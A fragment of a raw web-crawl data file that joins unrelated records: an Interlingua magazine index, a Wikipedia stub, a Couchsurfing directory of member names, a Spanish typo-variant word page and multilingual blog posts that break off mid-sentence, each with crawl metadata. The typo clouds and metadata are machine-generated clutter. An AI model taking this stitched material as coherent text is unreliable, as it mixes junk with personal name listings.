cumulo||Th.||Le mundo actual|\n|24||Islanda es le plus pacific||Th.||Le mundo actual|\n|24||Americanos bibe minus de caffe||Th.||Le mundo actual|\n|24||Teenager trova barra de auro in laco||Th.||Le mundo actual|\n|25||Icones del pressa vendite||Th.||Le mundo actual|\n|25||Nefertiti in camera secrete||Th.||Le mundo actual|\n|25||Cinere de autor exponite||Th.||Le mundo actual|\n|25||Papiliones dispare de calor||Th.||Le mundo actual|\n|26||Quante o quantes?||Breinstrup, Thomas||Le parolas del mense|\n|26||Plus super adjectivos in plural||Breinstrup, Thomas||Le parolas del mense|\n|26||Assumer e presumer||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Roberto Capuzzo||Novas de nomines|\n|28||Péter Kovács||Novas de nomines|\n|28||Julian Mendez||Novas de nomines|\n|28||Le Union Brasilian pro Interlingua||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 5\/2015, septembre-octobre\n|1||Conferentia in exclusivitate espaniol||Reportos, reportages, novas e multe photos del sex dies active, ubi interlingua esseva parlate de matino a vespere – a vices mesmo durante le somno.||Copertura|\n|1||Incontro nordic in Danmark in julio 2016||Copertura|\n|1||Semine post semine diffunde interlingua||Conferentia surprendite del alte nivello de activitates in le mundo pro diffunder interlingua.||Copertura|\n|1||Si, on dormi ben in Benidorm||Copertura|\n|1||Historia de un phantasma||Copertura|\n|1||Holmes de novo||Copertura|\n|1||Fumatores in foco||Copertura|\n|2||Conferentia successose, laboriose – e calide||Le sex dies del 21me conferentia international de interlingua in Benidorm in Espania deveniva un grande successo.||Breinstrup, Thomas||Conferentia de interlingua|\n|3||Impressiones del conferentia||Conferentia de interlingua|\n|4||Si, on dormi ben in Benidorm!||Breinstrup, Thomas||Editorial|\n|5||Chocolate in le Villa Joiose||Th.||Conferentia de interlingua|\n|5||Interlingua functionava in le strata||Th.||Conferentia de interlingua|\n|6+7||Semine post semine es plantate pro diffunder interlingua||Il es extrememente difficile obtener un supervista clar de que occurre pro diffunder interlingua in le mundo – ma le conferentia essayava e esseva surprendite del alte nivello de activitates.||Breinstrup, Thomas||Conferentia de interlingua|\n|8||Signal del passato ancora vive||Th.||Conferentia de interlingua|\n|8||Le prime mini-dictionarios es in via||Th.||Conferentia de interlingua|\n|9||\"Interlingua es le selection secur\"||In le antiquitate on comprenderea interlingua sin problemas – ma anque in le futuro distante, dice le secretario general del UMI.||Th.||Conferentia de interlingua|\n|9||Jubileo celebrate per radio||Th.||Nota|\n|9||Espaniol e interlingua es similar||Th.||Nota|\n|9||Interviews tosto preste pro radio||Th.||Nota|\n|10||Cantario disponibile de novo||Th.||Nota|\n|10||Conferentia 2017 investigate||Th.||Nota|\n|10||Grande labor de Piet Cleij conservate||Th.||Conferentia de interlingua|\n|10||Excursiones extra||Th.||Conferentia de interlingua|\n|11||Cursos intensive creava maestros||Th.||Conferentia de interlingua|\n|12+13||Impressiones del conferentia||Conferentia de interlingua|\n|14+15||Invitation al incontro nordic de interlingua in Danmark in 2016||Le grande reunion de 2016 es pro le prime vice in le historia arrangiate in Danmark – gaude te.||Novas de interlingua|\n|16||Kangurus se incontra in interlingua||Novas de interlingua|\n|16||Interlingua in breve factos||Novas de interlingua|\n|16||Le color del amor in interlingua||Novas de interlingua|\n|16||Plus que 500 membros in Facebook||Novas de interlingua|\n|16||Consulta le dictionario in linea||Novas de interlingua|\n|17+18||Jubileo de 100 annos del familia Breinstrup||2 x Breinstrup 50 annos||Stenström, Ingvar||Anniversario|\n|18+19||Paul Le Corde ha morite||Breinstrup, Thomas||Necrologia|\n|19||Un perdita pro interlingua in le SUA||Mulaik, Stan||Necrologia|\n|20||Ancora tres libros a expectar||Th.||Libros|\n|20||Nove libro de Marcus Scriptor||Th.||Libros|\n|20||Nove publicationes in interlingua||Libros|\n|21||Le privilegio del fumatores||Platter, Kenneth||Chronica|\n|22+23||Un historia de un phantasma||Traduction in interlingua: Onofrio Notarstefano||Twain, Mark||Litteratura|\n|24||Le urbes le plus amical e inamical||Th.||Le mundo actual|\n|24||Playbou sin feminas nude||Th.||Le mundo actual|\n|24||Cinque urbes vole esser olympic||Th.||Le mundo actual|\n|24||Big Ben debe esser reparate||Th.||Le mundo actual|\n|24||Museo del Humanitate reaperi||Th.||Le mundo actual|\n|25||Enorme nove porto in Africa||Th.||Le mundo actual|\n|25||Classicos rescribite per autores||Th.||Le mundo actual|\n|25||Corbes de papiro sin filo||Th.||Le mundo actual|\n|25||Premio Nobel a Aleksievitch||Th.||Le mundo actual|\n|25||Mission commun al Luna||Th.||Le mundo actual|\n|26||Proque sex?||Harmsen, Ruud||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Elisabeth \"Lisel\" Martin||Novas de nomines|\n|28||Luís Vaz de Camões||Novas de nomines|\n|28||Elleore||Novas de nomines|\n|28||Allan Kiviaho||Novas de nomines|\n|28||Annuncio del Societate Svedese pro Interlingua||Annuncio|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 6\/2015, novembre-decembre\n|1||Presidente del UMI es ora francese||Duo veteranos de interlingua entra in le direction del Union Mundial pro Interlingua.||Copertura|\n|1||Inscription aperite pro incontro nordic||Reserva tu camera pro le incontro nordic de interlingua in julio 2016 in Danmark.||Copertura|\n|1||Secreto chocante||\"Spaghetti alla bolognese\" non existe del toto, revela nostre experto del cocina.||Copertura|\n|1||Calendario con eventos||Copertura|\n|1||Un perla non toccate||Copertura|\n|1||Abonamento de Panorama cresce||Include le magazin digital.||Copertura|\n|1||Nulle electricitate!||Copertura|\n|1||Solmente tres rhinocerotes ancora vive||Zoo perde animal rar.||Copertura|\n|1||Twain: Un phantasma||Copertura|\n|1||Vita marin dispare||Oceanos perdeva medietate del vita||Copertura|\n|1||Le systema periodic||Copertura|\n|2+3||UMI ha su prime presidente francese||Duo veteranos de interlingua entra in le direction del Union Mundial pro Interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|4||Respecto pro le lingua, per favor||Breinstrup, Thomas||Editorial|\n|5||Incontro nordic: Le inscription ha comenciate||Reserva tu camera pro le incontro nordic de interlingua in julio 2016 in Danmark.||Breinstrup, Thomas||Novas de interlingua|\n|6||Alce retorna post 5.000 annos||Th.||Nota|\n|6||Multissime linguas manca||Th.||Nota|\n|6||China permitte duo infantes||Cambio del politica in le pais le plus populate del mundo.||Th.||Nova|\n|7||Abonamento de Panorama pro 2016 cresce – ma include le magazin digital||Red.||Novas de interlingua|\n|8||Riscos de cracs in canal||Th.||Nota|\n|8||Fontana famose preste||Th.||Nota|\n|8+9||Calendario de eventos e anniversarios||Nova|\n|10||Plus grande dictionario digital||Novas de interlingua|\n|10||Duo nove episodios es preste||Novas de interlingua|\n|10||Calendario pro 2016 in interlingua||Novas de interlingua|\n|10||Nove publicationes in interlingua||Novas de interlingua|\n|10||Magnus Larsson 60 annos||Novas de interlingua|\n|10||Libros pro Natal? Sia rapide||Novas de interlingua|\n|11||Ruptura de electricitate||Platter, Kenneth||Chronica|\n|12||Solmente tres rhinocerotes blanc ancora vive||Zoo perdeva su exemplar||Th.||Nova|\n|12||Francese regania como lingua mundial||Th.||Nova|\n|13||OVN espaventa templo buddhista||Evento mysteriose in China||Martignon, Jean||Nova|\n|13||OTAN invita Montenegro||Th.||Nota|\n|13||Google collige datos de infantes||Th.||Nota|\n|13||Zuckerberg dona fortuna||Th.||Nota|\n|14+15||Revelationes horripilante del cocina italian||Non existe del toto un repasto que se appella \"spaghetti alla bolognese\", revela nostre experto del cocina italian – inter altere secretos.||Sora, Giovanni||Viages|\n|16+17||Un perla macedone ancora non toccate||Le laco de Okhrid vale un visita – ante que le tourismo massive venira||Pontnau, Robert||Viages|\n|18||Icone historic danese veniva ab Germania||Analyses del plus ben conservate trovata del etate de bronzo revela un historia surprendente.||Breinstrup, Thomas||Scientia|\n|19||Ruanta reintroduce leones in parcos||Septe leones volate de Africa del Sud, e forsan rhinocerotes sequera||Th.||Scientia|\n|19||Majoritate remane disconnectite||Th.||Nota|\n|19||Accordo de climate expectate||Th.||Nota|\n|19||Accesso al interior del Terra||Th.||Nota|\n|20||Vita in le mares dispare rapidemente||Le medietate del vita in le oceanos ha disparite durante le passate 50 annos||Breinstrup, Thomas||Scientia|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Un historia de un phantasma||Parte 2||Twain, Mark||Litteratura|\n|24||Fin de muro famose||Th.||Le mundo actual|\n|24||Diamante vendite pro record||Th.||Le mundo actual|\n|24||Stop a sinos nude e Mickey Mus||Th.||Le mundo actual|\n|24||Pandas gigantesc nascite||Th.||Le mundo actual|\n|25||30 annos con Windows||Th.||Le mundo actual|\n|25||Ebola finalmente combattite||Th.||Le mundo actual|\n|25||Nove precio record pro pictura||Th.||Le mundo actual|\n|25||Museo gulag aperite in Russia||Th.||Le mundo actual|\n|26||Le systema periodic||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Allan Kiviaho||Novas de nomines|\n|28||Felice Natal||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2015\/","date":"2021-06-16T08:23:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487622234.42\/warc\/CC-MAIN-20210616063154-20210616093154-00313.warc.gz","language":"ina","language_score":0.973066628,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.9730666279792786}","num_words":5009,"character_repetition_ratio":0.179,"word_repetition_ratio":0.046,"special_characters_ratio":0.264,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":6949.7,"cluster_detection":-1} +{"text":"Herguijuela de Ciudad Rodrigo\n|Herguijuela de Ciudad Rodrigo|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||69|\n|Area||23,41 km²|\n|Situate in||Provincia de Salamanca|\n|Altitude||797 ±1 m|\n|Coordinatas||40°26'50\"N, 6°31'5\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6360399|\n|Wikimedia Commons Category|\nHerguijuela de Ciudad Rodrigo\nHerguijuela de Ciudad Rodrigo es un municipalitate que se trova in le provincia de Salamanca, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Herguijuela_de_Ciudad_Rodrigo","date":"2023-03-22T06:09:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943750.71\/warc\/CC-MAIN-20230322051607-20230322081607-00592.warc.gz","language":"ina","language_score":0.307744205,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30774420499801636, \"sco_Latn_score\": 0.06932469457387924, \"vec_Latn_score\": 0.032494787126779556, \"atj_Latn_score\": 0.032248444855213165, \"nov_Latn_score\": 0.027866795659065247, \"frp_Latn_score\": 0.025426272302865982, \"scn_Latn_score\": 0.023421641439199448, \"glg_Latn_score\": 0.021536758169531822, \"lij_Latn_score\": 0.01894456334412098, \"lat_Latn_score\": 0.018183281645178795, \"spa_Latn_score\": 0.017062343657016754, \"dag_Latn_score\": 0.013868121430277824, \"arg_Latn_score\": 0.013787094503641129, \"nrm_Latn_score\": 0.01249911729246378, \"cbk_Latn_score\": 0.01075259130448103, \"ron_Latn_score\": 0.010492885485291481}","num_words":122,"character_repetition_ratio":0.163,"word_repetition_ratio":0.257,"special_characters_ratio":0.288,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.385,"perplexity_score":3498.7,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|maxime le bihan||Maxime Le Meur|\n|Maxime Le Bouffo||Maxime Le miere|\n|Maxime Le Bras||Maxime LE MINEUR|\n|Maxime Le Bras||Maxime Le Minoux|\n|Maxime Le Bret||Maxime Le Moal|\n|Maxime Le Breton||Maxime Le Moigne|\n|Maxime Le Calvé||Maxime Le Moing|\n|Maxime Le Clerc||Maxime Le Moing|\n|Maxime Le Colleter||Maxime Le Moing|\n|Maxime Le Corre||Maxime Le morillon|\n|Maxime le Corronc||Maxime Le Morillon|\n|Maxime Le Dantec||maxime le moual|\n|Maxime Le Docte||maxime Le Pape|\n|Maxime Le Douget||maxime Le pocreau|\n|maxime le douget||Maxime Le Potier|\n|Maxime Le Droupeet||Maxime Le Puil|\n|Maxime Le Dû||Maxime Le Roux|\n|Maxime Le Frère||Maxime Le Roux|\n|Maxime Le Fur||Maxime Le Roy|\n|Maxime Le Gagne||Maxime Le Roy|\n|Maxime Le Gal||Maxime Le Roy|\n|Maxime Le Gal||Maxime Le Roy|\n|maxime Le Gall||Maxime Le Royer|\n|Maxime Le Gall||Maxime Le Rudulier|\n|Maxime Le gallo||Maxime Le Ruyet|\n|Maxime Le Gallo||Maxime Le Saux|\n|Maxime Le Goff||Maxime Le Sommer|\n|Maxime Le Gouareguer||Maxime Le Stein|\n|Maxime Le Goueff||Maxime Le strat|\n|Maxime Le Gravier||Maxime Le Texier|\n|Maxime le Grelle||Maxime Le Thuaut|\n|Maxime LE GUEN||Maxime LE TOQUIN|\n|Maxime Le Guennec||Maxime Le Touarin|\n|Maxime Le Guennec||Maxime Le Touche|\n|Maxime Le Guern||Maxime Le Toullec|\n|Maxime Le Guil||Maxime Le Tutour|\n|Maxime Le Guil||Maxime Le Vacon|\n|MAXIME LE GUILLOU||Maxime léa B|\n|Maxime Le Guyader||Maxime LEBAIL|\n|Maxime Le Guyader||Maxime Lebaube|\n|Maxime Le Hen||Maxime Lebeau|\n|Maxime Le Héricy||Maxime Lebègue|\n|Maxime Le Hung||Maxime Lebel|\n|Maxime Le Jossec||Maxime Lebigre|\n|Maxime LE LEANNEC||Maxime Leblanc|\n|Maxime Le Livec||Maxime Leblanc|\n|Maxime Le Martret||Maxime Leblanc|\n|maxime Le mee||Maxime Leblanc|\n|Maxime Le Ménach||Maxime LEBLANC|\n|Maxime Le Métayer||Maxime Leblanc|","id":"","dump":"CC-MAIN-2017-04","url":"https:\/\/www.couchsurfing.com\/directory\/M-0-87-30","date":"2017-01-24T09:28:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560284376.37\/warc\/CC-MAIN-20170116095124-00545-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.4962936938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49629369378089905, \"nrm_Latn_score\": 0.454551637172699, \"frp_Latn_score\": 0.011103430762887001}","num_words":450,"character_repetition_ratio":0.259,"word_repetition_ratio":0.018,"special_characters_ratio":0.255,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.346,"perplexity_score":37384.0,"cluster_detection":-1} +{"text":"Alcornoqur\n'Alcornoqur' se parece a 'alcornoque', ¿Con alcornoqur querías decir alcornoque?\nAlcornoqur tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoqur|\n|Yahoo:||alcornoqur|\n|MSN:||alcornoqur|\n|Wikipedia:||alcornoqur|\nResultados de imágenes:\n|Google:||alcornoqur|\n|Yahoo:||alcornoqur|\n|MSN:||alcornoqur|\nYoutube: alcornoqur\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.tuspalabras.com\/alcornoqur","date":"2017-02-24T21:54:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171630.65\/warc\/CC-MAIN-20170219104611-00304-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.3419687748,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3419687747955322, \"nah_Latn_score\": 0.15140853822231293, \"ast_Latn_score\": 0.09548629820346832, \"sco_Latn_score\": 0.07379138469696045, \"spa_Latn_score\": 0.057099733501672745, \"por_Latn_score\": 0.038512736558914185, \"glg_Latn_score\": 0.030020160600543022, \"kal_Latn_score\": 0.023391639813780785, \"cot_Latn_score\": 0.018833935260772705, \"zul_Latn_score\": 0.010727476328611374, \"eng_Latn_score\": 0.010350433178246021}","num_words":313,"character_repetition_ratio":0.151,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.337,"perplexity_score":10438.4,"cluster_detection":-1} +{"text":"Tuesday, August 31, 2010\nOn pote apprender le linguas romanic como un gruppo per le projectos Eurorom 4 e \"die Sieben Siebe\".\n(Languages of this post: Interlingua, Spanish, Catalan, Portuguese, French, Italian, English)\nLe projecto Eurom 4 es un methodo pro le studio simultanee del linguas espaniol, francese, italiano e portugese.\nLe projecto esseva disveloppate durante un periodo de tres annos in le universitates de Lisbon, Salamanco, Romam e Aix-en-Provence (Francia).\nIste curso es destinate a adultos qui parla un lingua romanic e qui vole comprender un, duo, o tres linguas romanic sin complir un cognoscimento active de iste altere linguas.\nLe universitates de Aachen e Frankfurt in Germania ha disveloppate un altere simile projecto (Die Sieben Siebe), que include omne le linguas romanic.\n---\nEl proyecto Eurom 4 es un método para la estudio simultáneo de las lenguas español, francés, italiano y portugués.\nEl proyecto fue desarrollado durante un period de tres años en las universidades de Lisboa, Salamanca, Roma y Aix-en-Provence (Francia).\nEste curso está dirigido a adultos que hablan una lengua romance y que desean entender una, dos o tres lenguas romances sin lograr un conocimiento activo de estos otros idiomas.\nLas universidades de Aachen y Frankfurt en Alemania, han desarrollado otro proyecto similar (Die Sieben Siebe), que incluye todas las lenguas romances.\n---\nEl projecte Eurom 4 és un mètode per a la estudi simultani de les llengües espanyol, francès, italià i portuguès.\nEl projecte va ser desenvolupat durant un període de tres anys a les universitats de Lisboa, Salamanca, Roma i Aix-en-Provence (França).\nAquest curs està dirigit a adults que parlen una llengua romanç i que volen entendre una, dues o tres llengües romàniques sense aconseguir un coneixement actiu d'aquests altres idiomes.\nLes universitats de Aachen i Frankfurt a Alemanya han desenvolupat un altre projecte similar (Die Sieben Siebe), que inclou totes les llengües romàniques.\n---\nO projeto Eurom 4 é um método para o estudo simultâneo das línguas Espanhol, Francês, Italiano e Português.\nO projeto foi desenvolvido ao longo de um período de três anos na Universidade de Lisboa, Salamanca, Roma e Aix-en-Provence (França).\nEste curso é destinado a adultos que falam uma língua românica e que desejam entender um, dois ou três línguas românicas, sem alcançar um conhecimento activo destas outras línguas.\nAs universidades de Aachen e Frankfurt, na Alemanha, desenvolveram um projeto similar (Die Sieben Siebe), que inclui todas as línguas românicas.\n---\nLe projet Eurom-4 du projet est une méthode pour l'étude simultanée de l'espagnol, français, italien et portugais.\nLe projet a été élaboré sur une période de trois ans à l'Université de Lisbonne, Salamanque, Rome et Aix-en-Provence (France).\nCe cours est destiné aux adultes qui parlent une langue romane et qui souhaitent comprendre un, deux ou trois autres langues romanes, sans parvenir à une connaissance active de ces autres langues.\nLes Universités d'Aix et à Francfort en Allemagne, ont développé un autre projet similaire (Die Sieben Siebe), qui comprend toutes les langues romanes.\n---\nIl progetto Eurom-4 è progetto per lo studio simultaneo di spagnolo, francese, italiano e portoghese.\nIl progetto è stato sviluppato su un periodo di tre anni presso l'Università di Lisbona, Salamanca, Roma e Aix-en-Provence (Francia).\nQuesto corso è destinato agli adulti che parlano una lingua romanza e che desiderano comprendere uno, due o tre altre lingue romanze, senza giungere ad una conoscenza di queste altre lingue.\nLe Università di Aquisgrana e Francoforte in Germania, hanno sviluppato un progetto simile (Die Sieben Siebe), che comprende tutte le lingue romanze.\n---\nThe Eurom-4 project is a method for the simultaneous study of Spanish, French, Italian and Portuguese.\nThe project was developed during a period of three years at the Universities of Lisbon, Salamanca, Rome, and Aix-en-Provence (France).\nThis course is intended for adults who speak a Romance language and who wish to understand one, two or three more Romance languages without achieving an active knowledge of these other languages.\nThe Universities of Aachen and Frankfurt in Germany have developed another similar project (die Sieben Siebe), which includes all the Romance languages.\nPosted by hkyson at 12:02 PM\n(Languages of this post: Interlingua, Spanish, English)\nSecundo un nove studio, le incapacitate pro facer plus que duo cosas simultaneemente pote trovar se \"pre-programmate\" in nostre cerebro.\nUn equipa de investigatores francese publicava in le magazin scientific \"Science\" le resultatos de un investigation que monstra lo que occurre in nostre cerebro quando nos essaya a facer diverse cosas simultaneemente.\nNostre inhabilitate pro realisar cargas simultaneemente poterea esser le resultato de un \"defecto de fabrication\" con le qual nos nasce, e illo es difficile a corriger.\nIl pare que cata medietate de nostre cerebro se occupa de un cosa, lo que explicarea pro que resulta tan complicate facer plus que duo cosas simultaneemente.\nLe resultatos anque poterea explicar pro que nos face decisiones irrational quando nos debe eliger inter un longe lista de optiones.\nLe investigator principal del studio, le Doctor Etienne Koechlin, diceva que il es possibile \"cocer e parlar con alicuno per telephono al mesme temproe ma il non es possible facer un tertie carga como leger le jornal simultaneemente. Si tu face plus que tres cargas al mesme tempore, tu perde le filo de un ex illos\".\nLe equipa francese utilisava le technica del resonantia magnetic pro explorar lo que occurreva in le cerebro de 32 voluntarios al quales on demandava realisar un test in le qual illes deberea associar inter se un serie de litteras.\nLe studio se concentrava in le area del cortice frontal, un parte del cerebro relationate con le controlo del impulsos.\nQuando le voluntarios realisava un sol carga, un certe parte del lobulo frontal se illuminava. Ma quando illes realisava duo cargas simultaneemente, le lobulos divideva le carga inter illos, dedicante un hemispherio cerebral a cata un de illos.\nLe activitate in le lobulo dextre esseva relationate con le carga principal (action A) e le activitate al leve con le tarea secundari (action B).\nLe cerebro esseva capace de utilisar iste duo hemispherios pro eliger inter duo actiones ma esseva incapace de concentrar se in un tertie action.\nLe studio monstra que nos pote haber un facilitate plus grande pro prender decisiones binari e que isto explicarea le frustration que nos senti quando nos selige inter un marca de chocolate in le supermercato quando on nos offere 10 possibilitates distincte, pro exemplo.\nIn iste comportamento on poterea discoperir le clave de pro que, in iste casos, nostre decisiones es irrational.\n\"Nostre studio poterea provider un explication de pro que le personas es capace de prender decisiones binari ma non es tan bon quando illes debe eliger inter multiple optiones.\nUn altere studio publicate recentemente per le Universitate de Utah, in le Statos Unite, monstrava que solmente un 2,5% del population esseva capace de realisar diverse cargas simultaneemente de forma succedite.\nIsto significa que solmente 1 de cata 40 personas pote esser considerate como \"superpersonas\" capace de diriger un automobile e parlar per telephono e facer ben ambe cosas simultaneemente.\n---\n¿Por qué no podemos hacer más de dos cosas a la vez?\nSegún un nuevo studio, la incapacidad para hacer más de dos cosas a la vez puede estar \"pre-programada\" en nuestro cerebro.\nUn equipo de investigadores franceses publicó en la revista científica \"Science\" los resultados de una investigación que muestra qué ocurre en nuestro cerebro cuando tratamos de hacer varias cosas a la vez.\nNuestra inhabilidad para realizar tareas simultáneamente podria ser el resultado de un \"defecto de fabricación\" con el que nacemos, y es difícil de corregir.\nAl parecer, cada mitad de nuestro cerebro se ocupa de una cosa, lo que explicaría por qué resulta tan complicado hacer más de dos cosas a la vez.\nLos resultados podrían también explicar por qué tomamos decisiones irracionales cuando tenemos que elegir entre una larga lista de opciones.\nEl investigador principal del estudio, el Doctor Etienne Koechlin, dijo que es posible \"cocinar y hablar con alguien por teléfono al mismo tiempo pero no es posible hacer una tercera tarea como leer el periódico a la vez. Si haces más de tres tareas al mismo tiempo, pierdes el hilo en una de ellas\".\nEl equipo francés utilizó la técnica de la resonancia magnética para explorar lo que ocurría en el cerebro de 32 voluntarios a los que se les pidió realizar un test en el que tenían que asociar entre sí una serie de letras.\nEl estudio se concentró en el área de la corteza frontal, una parte del cerebro relacionada con el control de los impulsos.\nCuando los voluntarios realizaban una sola tarea, una cierta parte del lóbulo frontal se iluminaba. Pero cuando realizaban dos tareas a la vez, los lóbulos se dividían las tareas entre ellos, dedicando un hemisferio cerebral a cada una de ellas.\nLa actividad en el lóbulo derecho estaba relacionada con la tarea principal (acción A) y la actividad en el izquierdo con la tarea secundaria (acción B).\nEl cerebro era capaz de utilizar estos dos hemisferios para elegir entre dos acciones pero era incapaz de concentrarse en una tercera acción.\nEl estudio muestra que podríamos tener una mayor facilidad para tomar decisiones binarias y que esto explicaría el bloqueo que sufrimos a la hora de elegir entre una marca de chocolate en el supermercado cuando se nos ofrecen 10 posibilidades distintas, por ejemplo.\nEn este comportamiento se podría descubrir la clave de por qué, en estos casos, nuestras decisiones son irracionales.\n\"Nuestro estudio podría proporcionar una explicación a por qué las personas son capaces de tomar decisiones binarias pero no son tan buenas cuando deben elegir entre múltiples opciones\".\nOtro estudio publicado recientemente por la Universidad de Utah, en los Estados Unidos, mostraba que sólo un 2,5% de la población era capaz de realizar varias tareas a la vez de forma exitosa.\nEsto significa que sólo 1 de cada 40 personas pueden ser consideradas como \"superpersonas\" capaces de conducir y hablar por teléfono y hacer bien ambas cosas a la vez.\n---\nWhy aren't we able to do more than two things at once?\nAccording to a new study, the inability to do more than two things at once may be \"pre-programmed\" in our brains.\nA team of French researchers published in the journal \"Science\" the results of a study that shows what happens in our brains when we try to do several things at once.\nOur inability to perform tasks simultaneously could be the result of a \"manufacturing defect\" that we are born with, and it is difficult to correct.\nApparently, each half of our brain is concerned with one thing, which would explain why it is so hard to do more than two things at once.\nThe findings could also explain why we make irrational decisions when we have to choose between a long list of options.\nThe study's lead researcher, Dr. Etienne Koechlin, said that it is possible \"to cook and talk to someone on the phone at the same time but cannot perform a third task such as reading the newspaper at the same time. If you perform more than three tasks at once, you lose the thread of one of them.\"\nThe French team used the technique of magnetic resonance imaging to explore what was happening in the brains of thirty-two volunteers who were asked to perform a test where they had to associate a series of letters together.\nThe study focused on the the frontal cortex, a part of the brain associated with impulse control.\nWhen the volunteers performed a single task, a certain part of the frontal lobe lit up. But while performing two tasks at once, the lobes divided the tasks between themselves, dedicating one hemisphere to each of them.\nThe activity in the right lobe was related to the main task (action A) and activity in the left one was concerned with the secondary task (Action B).\nThe brain was able to use these two hemispheres to chose between two actions but was unable to concentrate on a third action.\nThe study shows that we may be better at making binary decisions and that this would explain the blocking we suffer from when choosing between a brand of chocolate in the supermarket when we are offered 10 different possibilities, for instance.\nIn this behavior it could be possible to discover the key to why, in these cases, our decisions are irrational.\n\"Our study could provide an explanation for why people are capable of making binary decisions but are not so good when they have to choose among multiple options.\"\nAnother study recently published by the University of Utah, in the United States, showed that only 2.5% of the population was able to successfully perform several tasks at once.\nThis means that only one in forty people can be regarded as \"superpeople\" capable of driving and talking on the phone and do both well at the same time.\nPosted by hkyson at 4:09 AM\nMonday, August 30, 2010\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe scientia es lo que on cognosce. Le philosophia es lo que on non cognosce.\nLa ciencia es lo que se conoce. La filosofía es lo que no se conoce.\nLa ciència és el que es coneix. La filosofia és el que no es coneix.\nA ciencia é o que se coñece. A filosofía é o que non se coñece.\nA ciência é o que é conhecido. A filosofia é o que não é conhecido.\nLa science est ce qui est connu. La philosophie est ce qui n'est pas connu.\nLa scienza è ciò che è noto. La filosofia è ciò che non è noto.\nScience is what is known. Philosophy is what is not known.\nPosted by hkyson at 3:28 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nIn un epocha de deception universal, dicer le veritate es un acto revolutionari.\nEn una época de engaño universal, decir la verdad es un acto revolucionario.\nEn una època d'engany universal, dir la veritat és un acte revolucionari.\nNunha época de erro universal, dicir a verdade é un acto revolucionario.\nEm uma época de erro universal, dizer a verdade é um acto revolucionário.\nIn un'epoca di inganno universale, dire la verità diventa un atto rivoluzionario.\nIn an epoch of universal deception, to tell the truth is a revolutionary act.\nPosted by hkyson at 2:41 AM\nSunday, August 29, 2010\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, Italian, English)\nNostre amicos veni a nos, e nostre amicos disappare. Ma nostre inimicos sempre se accumula.\nNuestros amigos vienen a nosotros, y nuestros amigos desaparecen. Pero nuestros enemigos se acumulan siempre.\nEls nostres amics venen a nosaltres, i els nostres amics desapareixen. Però els nostres enemics s'acumulen sempre.\nOs nosos amigos veñen ata nós, e os nosos amigos desaparecen. Pero os nosos inimigos sempre se acumulan.\nNossos amigos vêm até nós, e nossos amigos desaparecem. Mas nossos inimigos sempre se acumulam.\nNos amis viennent à nous, et nos amis s'en vont. Mais nos ennemis toujours s'accumulent.\nI nostri amici vengono a noi, e i nostri amici se ne vanno. Ma i nostri nemici si accumulano sempre.\nOur friends come to us, and our friends go away. But our enemies always accumulate.\nPosted by hkyson at 8:35 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe democracia es quando io mesme ha le controlo del governamento. Le dictatura es quando le alteres ha le controlo del governamento\nLa democracia es cuando yo mismo tengo el control del gobierno. La dictadura es cuando los demás tienen el control del gobierno.\nLa democràcia és quan jo mateix tinc el control del govern. La dictadura és quan els altres tenen el control del govern.\nA democracia é cando eu mesmo teño o control do goberno. A ditadura é cando os outros 